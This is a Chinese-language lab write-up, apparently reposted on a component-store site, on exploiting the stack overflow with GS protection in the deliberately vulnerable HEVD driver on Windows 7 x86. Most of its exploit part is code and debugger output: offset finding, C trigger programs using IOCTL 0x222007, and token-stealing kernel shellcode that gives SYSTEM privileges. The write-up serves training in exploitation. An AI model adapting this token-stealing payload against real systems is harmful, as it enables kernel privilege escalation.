资讯详情

漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]

作者:selph

前言

窥探Ring0漏洞世界:缓冲区溢出的突破GS保护

实验环境:

?虚拟机:Windows 7 x86

?物理机:Windows 10 x64

?软件:IDA,Windbg,VS2022

漏洞分析 实验内容是BufferOverflowStackGS(环境提供的栈溢出有两种,一种是普通的,一种是普通的GS保护的)

首先用IDA打开HEVD.sys,搜索BufferOverflowStack,可见两个函数:BufferOverflowGSStackIoctlHandler和TriggerBufferOverflowStackGS,前者是分发程序,后者是漏洞程序

从IDA的F从5英里可以看出,这是一个经典的栈溢出漏洞:用户输入的长度memcpy调用和上一个完全一样

int __stdcall TriggerBufferOverflowStackGS(void *UserBuffer, unsigned int Size) { unsigned __int8 KernelBuffer[512]; // [esp 14h] [ebp-21Ch] BYREF CPPEH_RECORD ms_exc; // [esp 218h] [ebp-18h]

memset(KernelBuffer, 0, sizeof(KernelBuffer)); ms_exc.registration.TryLevel = 0; ProbeForRead(UserBuffer, 0x200u, 1u); _DbgPrintEx(0x4Du, 3u, “[ ] UserBuffer: 0x%p\n”, UserBuffer); _DbgPrintEx(0x4Du, 3u, “[ ] UserBuffer Size: 0x%zX\n”, Size); _DbgPrintEx(0x4Du, 3u, “[ ] KernelBuffer: 0x%p\n”, KernelBuffer); _DbgPrintEx(0x4Du, 3u, “[ ] KernelBuffer Size: 0x%zX\n”, 0x200u); _DbgPrintEx(0x4Du, 3u, “[ ] Triggering Buffer Overflow in Stack (GS)\n”); memcpy(KernelBuffer, UserBuffer, Size); return 0; }

交叉引用查看调用处:和上次一样

int __stdcall BufferOverflowStackGSIoctlHandler(_IRP *Irp, _IO_STACK_LOCATION *IrpSp) { int v2; // ecx _NAMED_PIPE_CREATE_PARAMETERS *Parameters; // edx

v2 = -1073741823; Parameters = IrpSp->Parameters.CreatePipe.Parameters; if ( Parameters ) return TriggerBufferOverflowStackGS(Parameters, IrpSp->Parameters.Create.Options); return v2; }

然后上去找控制码,这里调用处前面的标号是$LN6

查看前面的跳转表:

可见这里是按顺序排列的,这里eax只要等于1,就可以跳过

根据上例,eax=0,所需输入为0x00222003,查看eax是怎么来的:

它是通过这个索引获得的,所以在这里eax比上次多4,所以这次使用的控制码是:0x222007

漏洞利用 突破GS获得程序控制权 GS保护机制简介:打开GS在函数开始时使用保护ebp在函数结束时检查随机值是否不同或保存,再次不同或检查随机值是否与以前一致。如果一致,则通过GS如果检查不一致,则进入其他程序流程

常规的绕过GS保护方法包括使用虚函数或SEH突破,无论哪一个,都可以GS检查前,劫持程序

所以对于突破GS保护,只需生成随机序列,然后看看程序跳转到随机序列的位置,就可以判断劫持程序执行过程的位置

使用kali的pattern_create.rb进行生成:

┌──(selph?kali)-[~/桌面] └─$ ./pattern_create.rb -l 1000 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B

构建测试程序:

#include #include

char *shellcode = “Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B”; int shellcodeLength = strlen(shellcode);

int main() { HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf(“[ERROR]Open Device Error\r\n”); system(“pause”); exit(1); } else { printf(“[INFO]Device Handle: 0x%X\n”, hDevice); }

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)shellcode, shellcodeLength, NULL, 0, &WriteRet, NULL);

return 0; }

很快,就看到程序报错了,查看寄存器:

Access violation - code c0000005 (!!! second chance !!!) 73413173 ?? ??? kd> r eax=00000000 ebx=8842c548 ecx=e017583e edx=00000000 esi=83f15087 edi=8842c4d8 eip=73413173 esp=9745bae0 ebp=41307341 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 73413173 ?? ???

eip指向了73413173这个值,通过pattern_offset.rb进行判断该值的位置:

┌──(selph㉿kali)-[~/桌面] └─$ ./pattern_offset.rb -q 73413173 -l 1000 [*] Exact match at offset 544

偏移在544的位置,修改测试代码再次尝试:

#include #include

int main() {

ULONG UserBufferSize = 544+4;

HANDLE hDevice = ::CreateFileW(L"\\.\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); if (hDevice == INVALID_HANDLE_VALUE) { printf(“[ERROR]Open Device Error\r\n”); system(“pause”); exit(1); } else { printf(“[INFO]Device Handle: 0x%X\n”, hDevice); }

PULONG UserBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); if (!UserBuffer) { printf(“[ERROR]Allocate ERROR”); system(“pause”);

   exit(1);
}
else {
   printf("[INFO]Allocated Memory: 0x%p\n", UserBuffer);
   printf("[INFO]Allocation Size: 0x%X\n", UserBufferSize);
}

RtlFillMemory(UserBuffer, UserBufferSize, 0x41);

PVOID MemoryAddress = (PVOID)(((ULONG)UserBuffer + UserBufferSize)-sizeof(ULONG));

*(PULONG)MemoryAddress = (ULONG)0x66666666;

ULONG WriteRet = 0;

DeviceIoControl(hDevice, 0x222007, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL);

HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; return 0; }

抛出异常:

Access violation - code c0000005 (!!! second chance !!!) 66666666 ?? ??? kd> r eax=00000000 ebx=865bd1c8 ecx=bf76b3e0 edx=00000000 esi=83eff087 edi=865bd158 eip=66666666 esp=ae790ae0 ebp=41414141 iopl=0 nv up ei ng nz ac pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010296 66666666 ?? ???

成功找到溢出控制点,接下来构造shellcode进行跳转即可

构造shellcode 这次继续分析上次shellcode最后结尾的返回是怎么回事,还是用上次的那个shellcode,在前面加一个0xcc来下断:

示例shellcode:

// Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET 0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID

VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { __emit 0cch pushad

;获取当前进程EPROCESS
   xor eax, eax
   mov eax, fs: [eax + KTHREAD_OFFSET]
   mov eax, [eax + EPROCESS_OFFSET]
   mov ecx, eax

;搜索system进程EPROCESS
   mov edx, SYSTEM_PID
   SearchSystemPID:
   mov eax, [eax + FLINK_OFFSET]
   sub eax, FLINK_OFFSET
   cmp[eax + PID_OFFSET], edx
   jne SearchSystemPID

;token窃取
   mov edx, [eax + TOKEN_OFFSET]
   mov[ecx + TOKEN_OFFSET], edx

;环境还原+返回
   popad
   xor eax, eax
   add esp, 12
   pop ebp
   ret 8
}

}

这里功能执行部分没啥问题,也不会对栈进行操作产生影响,内核里执行shellcode执行完一定要能正常返回回去,现在运行到断点查看调用堆栈信息:

kd> k

ChildEBP RetAddr

WARNING: Frame IP not in any known module. Following frames may be wrong. 00 92031ae0 928f70ea 0x1f1043 01 92031afc 83e83593 HEVD!IrpDeviceIoCtlHandler+0x86 02 92031b14 8407799f nt!IofCallDriver+0x63 03 92031b34 8407ab71 nt!IopSynchronousServiceTail+0x1f8 04 92031bd0 840c13f4 nt!IopXxxControlFile+0x6aa 05 92031c04 83e8a1ea nt!NtDeviceIoControlFile+0x2a

可以看到,当前执行到shellcode里,上一层返回是HEVD!IrpDeviceIoCtlHandler+0x86,因为我们没有使用1000字节的那个shellcode而是重新构建了刚好大小的shellcode进行覆盖,所以这里不会影响到后面的调用栈信息,所以这里我们只需要返回到上一层就行

返回到上一层需要恢复栈成为刚刚从函数里返回的样子,正常情况下函数返回到这里进行的操作:

PAGE:004452C8 loc_4452C8: ; CODE XREF: BufferOverflowStackGSIoctlHandler(x,x)+13↑j PAGE:004452C8 8B C1 mov eax, ecx PAGE:004452CA 5D pop ebp PAGE:004452CB C2 08 00 retn 8

eax里保存一个返回值,弹出原本的ebp,retn 8

也就是说,这里返回之前的esp里本应该装有原来的ebp才行,所以需要对esp进行修复,把ebp入栈保存的操作是在函数开始的时候做的,查看栈信息:

kd> dds esp 92031ad48855a4d0 92031ad8 83f11087 nt!DbgPrintEx 92031adc 8855a540 92031ae0 92031afc 92031ae4 928f70ea HEVD!IrpDeviceIoCtlHandler+0x86 [C:\Users\selph\Desktop\HackSysExtremeVulnerableDriver-master\Driver\HEVD\Windows\HackSysExtremeVulnerableDriver.c @ 283] 92031ae8 8855a4d0 92031aec 8855a540 92031af0 86671350

call指令的作用是入栈返回地址+跳转到函数内,所以这里在进入函数之前esp = 92031ae4,然后进行的操作:

PAGE:004452AA 55 push ebp PAGE:004452AB 8B EC mov ebp, esp

第一件事就是push ebp,所以这里92031ae0地址保存的就是ebp,这里只需要把esp的为止恢复到该位置即可

所以要做的操作就是:add esp, 0xc

获取System权限 提权后执行的操作:

system(“pause”); system(“cmd.exe”);

截图演示:

 

参考资料 •[1] hacksysteam/HackSysExtremeVulnerableDriver: HackSys Extreme Vulnerable Windows Driver (github.com) https://github.com/hacksysteam/HackSysExtremeVulnerableDriver

•[2] 探究security_cookie在程序中的作用 - 我可是会飞的啊 (kn0sky.com) 探究security_cookie在程序中的作用 - 我可是会飞的啊

•[3] 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客 渗透之——使用Metasploit实现对缓冲区栈的溢出攻击_冰 河的博客-CSDN博客

•[4] HEVD Stack Overflow GS (klue.github.io) HEVD Stack Overflow GS

标签: 1sma22at3g抑制二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台